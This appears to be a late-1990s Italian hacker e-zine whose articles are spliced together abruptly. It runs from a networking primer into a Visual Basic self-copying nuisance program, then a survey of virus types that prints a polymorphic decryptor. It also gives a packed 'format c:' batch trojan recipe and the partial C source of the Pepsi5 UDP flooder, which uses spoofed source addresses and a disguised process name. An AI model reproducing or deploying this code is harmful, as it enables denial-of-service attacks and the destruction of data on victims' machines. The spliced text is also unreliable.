specificano quanti computer sono connessi alla rete. In questo caso la somma
dei due bit piu' significativi (128+64=162) nel byte piu' elevato indica che
la rete e' di classe C. Dopo che l'hacker avra' iniziato a trovare gli
indirizzi della rete, iniziera' anche a controllare i numeri si sequenza
dei pacchetti che si trasmettono tali computer. Dopo aver monitorizzato le
trasmissioni della rete, l'hacker cerchera' di prevedere il prossimo numero
di sequenza inserendosi fra il server e l'utente. Poiche' esso ha gia'
l'indirizzo IP che gli consentono di intercettare le trasmissioni con
l'utente. Quindi avuto l'accesso al sistema tramite tale attacco, puo'
accedere alla info che il sistema di comunicazione trasmette al server,
inclusi i file password, nomi di login, dati riservati, ecc. In genere si
usa questo tipo di attacco come preparativo per l'attacco vero e proprio al
server oppure come base per l'attacco di un'altro server della rete.
Questo e' quello che ha fatto l'hacker ora vediamo come il sysadm si difenda
da tale attacco. Infatti il modo piu' semplice ed efficace per difendersi da
questo tipo di attacco consiste nell'assicurarsi che il router, i firewall e
ogni server del sistema abbiano attivato la protezione audit-trail.
Gli audit-trial sono programmi che permettono di visualizzare l'attivita'
dell'hacker che tenta di attraversare il router e il firewall e quando tenta
di accedere al server. L'audi-trai mosta una sequenza di questo tipo:
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Gli audit-trial e i successivi metodi di attacco verranno trattati nel
successivo articolo.
Alpha-666
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
L'ABC DELLE RETI
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
PREMESSA = io non so niente, non sono un hacker, non ho nulla da insegnare a
chi ha iniziato + di un mese fa quindi non venitemi a dire che dico
cose che sapete gia' xche' io vi avevo avvertito :PPP
Allora e' chiaro che ci sono molti libri sull'argomento che andro' a trattare
ma e' anke vero che dato che mi sto studiando queste cose, posso unire l'utile
al dilettevole parlandovi di cio' che sto imparando ;)
Allora la prima cosa che dobbiamo sapere se vogliamo farci una rete casalinga
o nell'azienda in cui lavoriamo [ se ci chiedono di farla magari :))) ] e' il
conoscere i mezzi + comuni utilizzati x trasmettere segnali da un pc a un
altro e i modi secondo i quali si devono collegare i mezzi trasmissivi.
********************___---=== MEZZI TRASMISSIVI ===---____********************
I + comuni mezzi che possiamo trovare sono essenzialmente tre:
- cavi di rame -----> [trasmissione di segnali elettrici]
- fibre ottiche ----> [trasmissione della luce]
- atmosfera --------> [trasmissione di luce e delle onde radio ultimamente
molto trattate]
Prima di tutto bisogna sapere che le trasmissioni possono essere effettuate
in modo:
- digitale
- analogico
Allora vediamo di analizzare queste due forme.
___---===TRASMISSIONE ANALOGICA===---____
Tale trasmissione e' costituita da un segnale che puo' variare in ampiezza
[ cioe' a livello di energia ] e in frequenza [ cioe' il numero di volte che
l'ampiezza cambia in un determinato intervallo di tempo ]. Da cio' si deduce
che la trasmissione analogica in un dato intervallo di tempo potra' assumere
un numero di valori infinito o quasi... Partendo da questo si deduce
facilmente che anke piccole variazione [ di volume o tono ] possono dare un
significato diverso [ e quindi errato ] ai nostri dati. Questo tipo di sistema
di comunicazione quindi risulta essere da una parte efficace e vario poiche'
ad ogni ciclo possiamo trasmettere informazioni aggiuntive, ma si sa che le
cose non vanno sempre come dovrebbero e se ci fosse anke la minima perdita di
dati tutto il msg / dato trasmesso / trasferito sarebbe illeggibile e quindi
inutile.
Questo problema della t. a. deriva principalmente dalla sensibilita' al
rumore, la quale aggiunge o toglie dati imprevisti che rischiano insomma di
mandare il tutto a puttane diciamo ;) Un esempio x comprendere cio' e'
parlare con una persona in una stanza affollata, dove cio' che dice il ns
interlocutore, se le voci sono tante, sara' o non capito o scambiato x un
altra cosa. In entrambi i casi sarebbe spontaneo dire "Che cosa scusa?" e tra
i pc cio' implica il rimandare tutti i dati dal primo all'ultimo, con,
ovviamente, la perdita di tempo che magari avremmo dedicato a un altro
trasferimento o ad un incontro non platonico con un altro essere umano del
sesso opposto...hihihi
Riporto qua sotto un paio di esempi di t.a. andata a buon fine e un esempio
di segnale disturbato
ESEMPIO DI TRASMISSIONE ANALOGICA ³
STESSO ESEMPIO DI TRASMISSIONE
ANDATA A BUON FINE
³
ANALOGICA CON INTERFERENZE
^
³
^
|
/-\
³
|
|
|
|
³
|
/-\
|
|
|
³
|
|
|
|
|
³ /-\
/ - \
|
|
/-\
|
|
³ \ /
\
/
ÍÍÍÍ|ÍÍÍ|ÍÍÍ|ÍÍ|ÍÍÍ|ÍÍÍ|ÍÍÍÍÍÍÍÍÍÍͳÍÍÍ\ÍÍÍÍ|ÍÍÍ|
e cosi' via
|
|
\_/
|
|
³
/
/
\_/
\_/
³
| /
³
|/
Dato che so gia' che non avrete capito (causa mia capacita' di rendere
difficile anke la peggior cazzata eheheh) cmq, cerchero' di spiegare come
l'ho capito io. Pensate di dare un numero ad ogni tonalita' di voce. Cio' di
certo permettera' di avere un sacco di numeri. Ma sara' anke vero che se noi
(pc1) abbiamo un piccolo calo di voce il sistema che registra la nostra voce
(pc2) avra 2 possibili conseguenze: o riconoscera' il tono come un altro
(scambiera' i toni) oppure non riuscira' a riconoscerlo come tale e quindi
pensera' di non aver sentito nessun tono. Spero di essere stato + chiaro con
questo esempio xche' nella definizione di t.a. qualke beta tester delle e-zine
mi aveva detto che avevo parlato un po' in arabo eheheheh ovviamente NON in
base a mie esperienze ma in base a + fonti (libri, riviste, bliblioteca).
___---===TRASMISSIONE DIGITALE===---____
A differenza della trasmissione analogica [e FORSE proprio x risolvere i
problemi derivanti dalla stessa] e' stato creato un altra forma di
trasmissione detta analogica che comunica col sistema binario (ebbene si' i
famosi 0 e 1!!!). In un circuito elettrico di solito lo zero e' rappresentato
da una tensione nulla [zero volt] e l'uno e' rappresentato da una tensione di
cinque volt. Si nota subito quindi che il sistema analogico ha un insieme
infinito di possibili valori a differenza del sistema digitale che ha solo
lo 0 e l'1, con i quali crea una serie di schemi precisi [es: A --> 01000001].
Ogni singolo impulso digitale e' detto bit, e 8 bit fanno un byte (ma dai!!!).
Il byte risulta essere quindi la unita' base della trasmissione digitale e [in
teoria] ogni byte rappresenta una info completa quale una lettera o un numero.
Premesso che la distanza tra i due valori possibili e' ampia ne deriva che
anke se il segnale e' disturbato si riuscira' cmq a distinguere se il valore
e' 0 o 1 a differenza di prima dove ad ogni ampiezza corrispondeva un valore
diverso. Alla fine di tutta sta botta de cultura quindi direte "cavolo ma
allora xche' si usa l'analogica???" e la risposta sara' che se e' vero che
con la trasmissione digitale siete sicuri e' anke vero che se dovete mandare
la lettera A a un altro pc dovrete comunicare ben 8 bit [quindi otto segnali]
mentre con la trasmissione analogica basterebbe comunicare un singolo valore
corrispondete alla lettera A :)
Un altro vantaggio del formato digitale e' che i dati trasferiti sono
interpretati correttamente da entrambi i computer xche' gia' in forma binaria,
mentre con la trasmissione analogica i dati prima di essere mandati devono
essere convertiti da digitali a analogici e una volta arrivati viceversa (da
a. a d.), x mezzo di un apposito dispositivo conosciuto ai piu' con il nome
di... modem :-)))
Ora diamo un'okkiata ai vari mezzi trasmissivi i quali sono principalmente:
-
il CAVO COASSIALE
il DOPPINO TELEFONICO
le FIBRE OTTICHE
l'ETERE
___---===CAVO COASSIALE===---____
Il cavo coassiale e' ben protetto fisicamente data la sua guaina esterna molto
resistente che impedisce il danneggiamento del cavo.
E' costituito principalmente da un filo di rame avvolto da materiale
dielettrico (cioe' isolante, cattivo conduttore di elettricita'), ricoperto da
un cavo intrecciato protetto da uno strato di plastica. Si chiama coassiale
xche' il cavo usa due conduttori (quello di rame e quello di protezione) che
stanno sullo stesso asse. I connettori dei cavi coassiali sono chiamati
connettori BNC (Bayonet Neill-Concelman). Sono facili da collegare e
scollegare.
Lo schema di una rete coassiale e' detto "topologia a dorsale / bus", poiche'
un singolo cavo si estende da sistema a sistema, collegando le diverse
macchine in successione,le quali si collegano a loro volta al circuito con un
connettore BNC a forma di T. Tale connettore e' dotato di due accoppiatori
dedicati alla connessione fisica del cavo e usa un 3ø accoppiatore x
collegarsi alla scheda di rete (NIC = Network Interface Card) che ovviamente
deve essere presente nel pc :P.
I due capi del circuito terminano con un dispositivo detto terminatore, che
devia a terra tutti i segnali elettrici assicurando che nessuno possa essere
riflesso lungo il cavo. I terminatori possono essere di 2 tipi, normali o
provvisti di una piccola catena metallica. Il secondo puo' essere usato a una
sola delle estremita' del circuito. La catena metallica serve x picchiare chi
vi sta sui cog...ops scusate credevo di essere nella sezione anarchy eheheh...
cmq dicevamo che questa catena serve da messa a terra e assicura che la
tensione del cavo intrecciato rimanga sempre a zero volt e le interferenze
RFI (radiointerferenza che ha luogo quando due segnali incidenti hanno
proprieta' simili) vengano scaricate.
Vediamo (in breve) vantaggi e svantaggi dell'uso dei cavi coassiali nella
propria rete di casa e / o azienda:
VANTAGGI
- resistenza alle interferenze (resiste a EMI e RFI)
- protezione fisica (+ resistente dei doppini telefonici)
- basso costo (nei negozi di elettronica poche centinaia di lire al metro)
SVANTAGGI
- topologia rigida (i cavi non sono flessibili come i doppini)
- scalabilita' limitata (se si aggiunge una macchina bisogna bloccare la rete)
- bassa tolleranza agli errori (un guasto puo' bloccare l'intero segmento)
- scarsa larghezza di banda (supp. tecnologia Ethernet a 10Mbps; no 100Mbps)
FileCopy "nomedatoaquestoprogramma.exe","c:\windows\menu
avvio\programmi\esecuzione
automatica\nomedatoaquestoprogramma.exe"
A COSA CI E' SERVITO TUTTO CIO'?
Abbiamo copiato il programma in esecuzione automatica... (non l'avreste
sospettato eh?)
Adesso aprite un timer, settate il valore "interval" su 1 e scrivete:
Private Sub Timer1_Timer()
Randomize Timer
Dim dove
dove = Int(Rnd * 3 + 1)
a = "c:\command.com"
c = "win" & Int((Rnd * 999999999) + 1)
If dove = 1 Then d = "c:\"
If dove = 2 Then d = "c:\windows\"
If dove = 3 Then d = "c:\windows\system\"
e = d & c & ".dll"
FileCopy a, e
End Sub
Fine del secondo programmino stupido.
A COSA SERVE? (o meglio, cosa fa?)
E' facile...una volta avviato il programma prende il file command.com (ma
potete scegliere quello che volete) e inizia a copiarlo a caso in una delle
directory sopra scritte (potete scegliere altre cartelle, potete sceglierne
di piu', basta cambiare i valori. Potete anche fare scegliere a l programma
ogni volta una directory a caso nell'HD, ma vi spieghero' un'altra volta come
si fa) con un altro nome e l'estensione dll. (Non si sa mai...un lamer magari
ha paura di cancellare una dll il cui nome inizia con "win")
Il programma si nota poco (tranne per la lentezza che portera' alla macchina)
e si avviera' ad ogni riavvio del computer.
COSA ABBIAMO IMPARATO?
Abbiamo ripassato come disabilitare gli hot-keys e abbiamo imprato (per chi
non sapeva gia' farlo) a copiare un file e a creare un numero a caso (se non
sapevate gia' fare questa cosa........andatevene!)
CONCLUSIONE:
Ok, io ho finito. Spero che N0bodY88 non si offenda per la magrezza
dell'articolo,
ma faro' di meglio in futuro (quando magari faro' un articolo sul batch)
Spero (ma non credo assolutamente) di esservi stato d'aiuto nel vostro
apprendimento
del VisualBasc e vi saluto.
CIOBA!
~ÑaBat½ha.
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
TIPI DI VIRUS
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Salve a tutti, sono sempre Quequero ed ora vi parlero' dei virus.
Sicuramente tutti conoscerete i virus, ma sicuramente pochi di voi ne conoscono
effettivamente il modo do agire oppure la struttura ed e' proprio questo che mi
accingo ad insegnarvi.
Esistono essenzialmente tre famiglie di virus che poi si dividono in tanti altri
sottogruppi, esaminiamo prima le grandi famiglie:
Worms
Trojan
Virus
Iniziero' col parlarvi dei Worms e poi mi addentrero' nella descrizione dei
virus
veri e propri dal momento che richiede piu' tempo ed e' una faccenda un po' piu'
complessa.
Worms
Il primo Worm fu creato intorno agli anni '80 da Robert Morris, un giovane che
ebbe la brillante idea di creare un virus non dannoso, ma che si riproduceva
via Internet, ebbene si, usava un bug indovinate di quale programma? Ovviamente
del Sendmail, molti computer andarono in tilt per l'immane riproduzione del
verme, in pratica a quel tempo tutti avevano almeno 10-12 vermi in casa, anche
i non pescatori ;))))
Su Internet si puo' trovare facilmente il codice sorgente del vermone, ho
sentito
dire che e' stato inserito un errore nel codice per non farlo compilare, se e'
vero non lo so.
Tutt'oggi non esistono vermi noti poiche' con le nuove versioni del sendmail
sono stati corretti i bug che ne permettevano la proliferazione, oggi questo
ignobile programma e' perfetto quasi al 100% l'unico problema (di importanza
praticamente nulla) e' che possiamo ottenere il "root" su un sistema di rete
semplicemente mandando una mail ;)))
Si sa che questi programmatori tolgono un bug e ne creano 20, bho!!!
Anche se non ve ne freghera' assolutamente nulla, vi dico che ho uno zio
Italiano
ma che vive in Finlandia che contribuisce tuttora allo sviluppo di Linux e del
software ad essi necessario, quindi guai a parlar male dei loro prodotti ;)))
Dicevamo che vermi noti non ce ne sono, pero' con l'avvento di Linux credo che
questo fenomeno crescera'.
Trojan
I trojan, o meglio Trojan Horse (cavalli di Troia) sono stati (a quanto ne so')
la prima forma di virus esistente, dovrebbero essere stati creati la prima volta
in Russia da un team di programmatori, i trojan sono dei programmi che non hanno
alcuna intenzione di duplicarsi ma servono solo a fare danni in un computer,
anche le bombe logiche sono dei trojan, solo che si attivano in un determinato
periodo. Un ottimo esempio di trojan e' il NetBus o il Back Orifice, ma anche
noi possiamo creare un trojan facendo un file batch, scrivendoci dentro:
format c: /autotest
e convertendolo con il Bat2Com.
Se poi lo vogliamo rendere invisibile bastera' criptarlo a compattarlo
(petite.exe,
pklite.exe ecc..).
Il nome cavallo di Troia e' dato dal fatto che vengono spesso diffusi come altri
programmi.
Viruzzzz
I virus si differiscono dai Trojan per il fatto che tendono a restare nascosti
ed a riprodursi il piu' possibile.
In genere un virus e' scritto in Assembly, il codice usato e' molto compatto e
veloce, a questo proposito vi riporto un breve "saggio" nel quale si cerca di
distinguere Winzoz da un Viruzzz (l'ho trovato in rete non so' dove):
Windows e' un virus ???
Nooo Win non e' un virus. Questo e' cio' che fanno i virus...: Si replicano
velocemente.. O.K.
Win fa' questo come i Virus.....
Il virus usa tutte le risorse di sistema, rallentando il sistema come ultimo.
Percio' O.k. Win fa cio'.
Un virus di tanto in tanto riduce in spazzatura il tuo HD, O.K. anche Win lo fa.
I virus sono di norma portati all'insaputa dell'utente in tutti i programmi
principali..... Sigh!!!
Anche Win lo fa.
Un virus fa venire il sospetto di esserci poiche' il sistema diventa troppo
lento... e fa venire la voglia di comperare nuovo Hardware. Oddio vale anche
per Win.
Sino ad ora tutto fa sembrare che Win sia un virus.... ma ci sono alcune
differenze fondamentali:
I virus sono ben supportati dall'autore, Funzionano su ogni tipo di sistema...
il loro codice programma e' estremamente veloce, compatto ed efficiente, e
tendono a diventare sempre piu' sofisticati con l'andare della loro
evoluzione....
Percio' Windows [ NON ] e' un virus....
Ok andiamo ora ad esaminare i vari tipi di viruz:
Sector (Master Boot Record / Floppy Boot Record):
Questo tipo di virus e' stato uno dei primi, attaccano il settore di avvio
degli H.D.D. oppure dei floppy, per togliere questi virus, spesso basta
scrivere al prompt del DOS:
fdsik /mbr
questo comando ripulisce il Master Boot Record, non utilizzatelo assolutamente
se avete installato un Boot Loader (lilo, loadlin, syslinux, boot manager ecc..)
altrimenti verra' cancellato.
Questi viruz erano dannosi una volta quando avevamo bisogno del "disco di
supplemento" per avviare il dos, oggi non fanno quasi piu' nulla a meno che
non accendiamo il pc con un dischetto infetto dentro e nel BIOS abbiamo
settato l'opzione che cerca un floppy all'avvio, se ci sono queste condizioni
allora sono kazzi.
Macro
Virus di nuova concezione scritti in Visual Basic, possono essere inseriti
nelle macro del lotus, word e di altri programmi, se apriamo il file senza
avviare la macro non succede nulla, ma se non lo facciamo rischiamo di
riportare danni (si parte dalla semplice impossibilita' di salvare un documento
alla formattazione del disco duro).
I macro virus sono sempre di piu', ma per sconfiggerli basta solo non attivare
le macro ;))))
File
Questi si dividono in Residenti e Non-Residenti:
Residenti: Una volta avviato il programma sul quale era ospite rimane attivo
per sempre.
Non-Residente: Smette di funzionate quando viene chiuso il programma ospite.
Questo tipo di viruz una volta avviato apre a caso dei file e copia dentro di
loro la routine di infezione (i virus hanno questo nome proprio perche' si
comportano come quelli esistenti in natura, cioe', entrano in una cellula (il
file) attaccano il loro DNA (la routine di infezione) al DNA della cellula
(il codice del programma) la cellula continua a funzionare normalmente solo
che altera qualche sua funzione e poi muore per lisi (esplosione))
MultiPartito
Questi si comportano sia come i Sector virus (o boot virus) sia come i File
viruz, in pratica si attaccano come le piattole al boot e quando vengono
caricati attaccano i vari altri file del sistema, i floppy, gli eseguibili
del dos ecc..Un esempio e' sicuramente il mitico Junkie.1027
Cluster (File System viruses)
Secondo me questi sono i tipi di viruz piu' "belli", questi modificano la
tabella dei contenuti sull'Hard Disk in modo da far avviare prima il virus e
poi il software.
Stealth
I viruz stealth sono estremamente raffinati, prendono il controllo totale del
sistema operativo e di alcune sue funzioni, alterano alcune cose (come ad
esempio si copiano su un floppy insieme a cio' che volevano copiarci noi,
oppure infettano un file mentre noi lo apriamo ecc..) senza che nessuno se ne
possa accorgere e, dal momento che sono invisibili vengono detti "stealth"
Polymorphic
Il Junkie.1027 oltre ad essere multi partito e' anche Polimorfico cioe', cripta
in modo casuale il suo codice ogni volta che deve infettare un file, se
confrontiamo un decina di file infettati col Junkie.1027 potremo vedere che
sono tutti diversi, appunto per il suo polimorfismo, nonostante tutto questi
viruz possono essere rilevati perche' il loro motore di cifratura e' sempre piu'
o meno uguale, ecco quello del suddetto Junki.1027
0001:
0002:
0003:
0004:
0005:
0006:
0007:
BE0800 MOV
B9F401 MOV
26
8134BC2E
46
46
E2F7
SI,0008
CX,01F4
ES:
XOR
INC
INC
LOOP
WORD PTR [SI],2EBC
SI
SI
$0001
Se infettiamo 10 file di 1 byte con il junkie.1027 vedremmo la loro diversita'
(aprendo un file con un editor esadecimale) tranne che per alcuni byte, questi
byte possono ancora essere cambiati semplicemente facendo inserire dal
junkie.1027
istruzioni inutili come:
JMP sulla riga seguente
JNZ idem
INC bx \
DEC bx /insieme incrementa e decrementa un registro
ADD bx,0000 aggiunge 0 ad un registro
MOV AL,AL
muove il valore di AL in se stesso
Ecc...
Companion
I virus "compagnoni" ;) sfruttano uno dei tanti buchetti della Microsoft, cioe'
facciamo una cartella a mettiamo dentro un file che si chiama Dio.com (che per
esempio crea un'altra cartella) ed un file che si chiama Dio.exe (che magari
crea una cartella con un altro nome) adesso andiamo al dos e scriviamo "Dio"
quale dei due verra' eseguito?
Sicuramente Dio.com dal momento che il dos da' la priorita' a questo tipo di
estensione.
Un virus companion non fa altro che creare un file con lo stesso nome dell'altro
ma con estenione .com e poi nasconde il .exe
Capitooooooooo????
Armored
Questi sono viruz che hanno delle istruzioni anti-debug e anti-disassemble,
rendono difficile la loro analizzazione, percio' come si puo' fare un antivirus
con per un virus che non possiamo analizzare? Se po' fa se po' fa, date il
viruz a un cracker e lui lo analizzera' per voi (avete sentito Symantec e
McAfee? A-SSU-ME-TE-CI !!!!!!)
Criptati
Sono simili ai polimorfici ma e' piu' facile trovare due file simili tra loro.
Clean on the fly
Fantastici virus, riescono ad intercettare le funzioni di lettura di un file,
in questo modo il viruz si autocancella dal file quando questo viene letto e
si autoreinfetta quando viene richiuso, questi viruz se perfezionati potrebbero
raggiungere livelli di invisibilita' altissimi.
MBR stealth
Uguali ai precedenti tranne per il fatto che infettano l'MBR tenendone un
backup e quando un anti-virus cerca di leggerlo il viruz rimette l'MBR vecchio
e poi reinfetta tutto dopo la lettura.
Size Hiding
Niente di particolare, questi viruz non fanno rilevare l'aumento di byte al
l'interno dei file.
Facciamo un esempio, il virus Quequero infetta N file e aggiunge ad ognuno di
questi 5 byte, l'antivirus potrebbe tranquillamente considerare questo aumento
come sospettoso e lo segnalerebbe, il programmatore puo' fare in modo di
intercettare il controllo della grandezza e potrebbe facilmente sottrargli 5
byte, quasi tutti i virus piu' sofisticati hanno questa funzionalita' oltre ad
avere un buon polimorfismo e simili ;))
Overwriting Viruz
Supponiamo di avere un virus di questo tipo che si chiama "Plauto", avviamo
questo virus ed aspettiamo due ore, controlliamo i file e non vediamo nulla
di sospetto, tranne per il fatto che Plauto si e' copiato nel sistema, ha
cancellato molti file e si e' rinominato come ognuno di loro ;)))))
Bhe' credo di averli elencati quasi tutti, dovrebbero bastare, se avete
bisogno di viruz cercate su Astalavista la parola Virii oppure venite sul mio
sito ;)))
e-mail: [email protected]
sito: http://quequero.cjb.net
NOTA DI N0bodY88 = non so se vi interessa ma nel nostro gruppo c'e' il creatore
del virus Junkie.1027 di cui ha parlato Quequero, vediamo se
indovinate chi e' ;) PS: complimenti agli scrittori della
sezione VIRUS della ns e-zine che ripeto non e' fatta da
hacker
ma da smanettoni il cui interesse comune non e' distruggere
ma imparare, provare e studiare (xche' no eheheh) ciauz ^_^
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
NOTA DI N0bodY88 = il prox art. non so credo rientri nella sezione virus ma
come i virus parla di qualcosa che serve x dominare!!!
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
°°°°°°°°°°°°°±±±±±±±±±±±±²²²²²²²²²²²²²²
°°Pepsi5:°pacchetti±udp±a²tradimento²²²
°°°°°°°°°°°°°±±±±±±±±±±±±²²²²²²²²²²²²²²
Questo Pepsi5 e' un simpatico floodatore UDP che, usato da una connessione
veloce, permette di laggare o addirittura disconnettere un utente. Funziona
da Linux, se volete qualcosa per wincazz ce n'e' un casino in giro,
ed e' stato scaricato da...non mi ricordo, cmq vi rimango la versione
originale.
-------------------------Taglia qui----------------------------------------/***
***
***
***
***
***
***
***
***
***
***
***
***
***
***
***
***
***
Pepsi 5.0g by [email protected] (BlackICE) [11|12|98]
based on the original pepsi.c code by Soldier
Additional Help by Silicate (chuckstalker),
LWR, and tq.
Beta Testing by Sleak and eclipze.
This Code is designed to compile and run on Linux, this code
is for inhouse testing only and the authors are not responsible
for any use/misuse of it.
Greetz to : MostHated, diesl0w, FEENiX, TerrorByt, totempole,
aeonflux, AciDpHuck, wait3r, [z], the gH crew and
friends.
Screw yous: pwr, your lameness is only surpassed by your
stupidity, (Hamilton, ON is that far away from me
man).
*** ...Tred carefully .. you address not the storm .. but the force
***
that binds it...
***
***/
/*----------------- [Defines] */
#define Port_Max 65534
#define Packet_Max 1023
#define Frequency_Max 300
#define Default_Fork 0
#define Default_Stealth "(nfsiod)"
/* Color Pallete ------------ */
#define B "\033[1;30m"
#define R "\033[1;31m"
#define G "\033[1;32m"
#define Y "\033[1;33m"
#define U "\033[1;34m"
#define M "\033[1;35m"
#define C "\033[1;36m"
#define W "\033[1;37m"
#define DR "\033[0;31m"
#define DG "\033[0;32m"
#define DY "\033[0;33m"
#define DU "\033[0;34m"
#define DM "\033[0;35m"
#define DC "\033[0;36m"
#define DW "\033[0;37m"
#define RESTORE "\33[0;0m"
#define CLEAR "\033[0;0H\033[J"
/* --------------- [Includes] */
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
#include <netinet/ip_udp.h>
#include <string.h>
#include <pwd.h>
#include <time.h>
/* [Banner] */
void banner()
{
printf("%s",CLEAR);
printf("\n\n%sPepsi %s5%s.%s0g %sby SoulBlaze%s@%sundernet %s(%sBlackICE%s)
%s[%s11%s|%s12%s|%s98%s]%s\n",R,W,B,W,U,G,U,B,DW,B,DC,DY,DC,DY,DC,DY,DC,RESTORE)
;
printf("%sBased on the Original %spepsi%s.%sc %scode by
%sSoldier%s\n",DU,R,B,R,DU,W,RESTORE);
printf("%sAdditional Help by %sChuckStalker%s,\n",DU,W,RESTORE);
printf("%sLWR%s, and %stq%s.\n",W,DU,W,RESTORE);
}
/* [Option Parsing] */
struct sockaddr_in dstaddr;
unsigned long dst;
struct udphdr *udp;
struct iphdr *ip;
char *target;
char *srchost;
char *stealth;
int
int
int
int
int
int
dstport = 0;
srcport = 0;
numpacks = 0;
psize = 0;
wait = 0;
forknum = 0;
/* [Usage] */
void usage(char *pname)
{
printf("\n\n%sUsage%s %s: %s[%sarguements%s] %s<%sTarget
Ip%s>%s\n\n",DG,R,pname,DM,U,DM,DM,U,DM,RESTORE);
printf("%sOption
Description
Default
Value\n\n",W,RESTORE);
printf("%s-%ss %s<%sSource IP %s>
%s: %sPacket Origin
Random
%s
] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
printf("%s-%sn %s<%sPacket Num %s>
%s: %sLimit of Sent Datagrams
Unlimited %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
printf("%s-%sp %s<%sPacket Size%s>
%s: %sDatagram Size
1 - %d bytes%s ] \n",DR,DU,W,DC,W,DW,B,W,DC,Packet_Max,W,RESTORE);
printf("%s-%sd %s<%sTarget Port%s>
%s: %sDestination Port
Random
%s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
printf("%s-%so %s<%sSource Port%s>
%s: %sSource Port
Random
%s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
printf("%s-%sw %s<%sFrequency %s>
%s: %sDelay Between Each Packet
0 - %d ms%s
] \n",DR,DU,W,DC,W,DW,B,W,DC,Frequency_Max,W,RESTORE);
printf("%s-%sf %s<%sFork Number%s>
%s: %sNo. of Times Backgrounded
0 Times
%s ]%s \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
printf("%s-%sx %s<%sStealth
%s>
%s: %sMask Process As
%s
%s]%s",DR,DU,W,DC,W,DW,B,W,DC,Default_Stealth,W,RESTORE);
printf("\n\n");
exit(EXIT_SUCCESS);
}
/* [In chksum with some mods] */
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
sum += *w++;
nleft -= 2;
}
}
if (nleft == 1) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
%s[%s
%s[%s
%s[%s
%s[%s
%s[%s
%s[%s
%s[%s
%s[%s
/* Resolve Functions */
unsigned long resolve(char *cp)
{
struct hostent *hp;
}
hp = gethostbyname(cp);
if (!hp) {
printf("[*] Unable to resolve %s\t\n", cp);
exit(EXIT_FAILURE);
}
return ((unsigned long) hp->h_addr);
void resolvedest(void)
{
struct hostent *host;
}
memset(&dstaddr, 0, sizeof(struct sockaddr_in));
dstaddr.sin_family = AF_INET;
dstaddr.sin_addr.s_addr = inet_addr(target);
if (dstaddr.sin_addr.s_addr == -1) {
host = gethostbyname(target);
if (host == NULL) {
printf("[*] Unable To resolve %s\t\n", target);
exit(EXIT_FAILURE);
}
dstaddr.sin_family = host->h_addrtype;
memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length);
}
memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4);
/* Parsing Argz */
void parse_args(int argc, char *argv[])
{
int opt;
while ((opt = getopt(argc, argv, "x:s:d:n:p:w:o:f:")) != -1)
switch (opt) {
case 's':
srchost = (char *) malloc(strlen(optarg) + 1);
strcpy(srchost, optarg);
break;
case 'x':
stealth = (char *) malloc(strlen(optarg));
strcpy(stealth, optarg);
break;
case 'd':
dstport = atoi(optarg);
break;
case 'n':
numpacks = atoi(optarg);
break;
case 'p':
psize = atoi(optarg);
break;
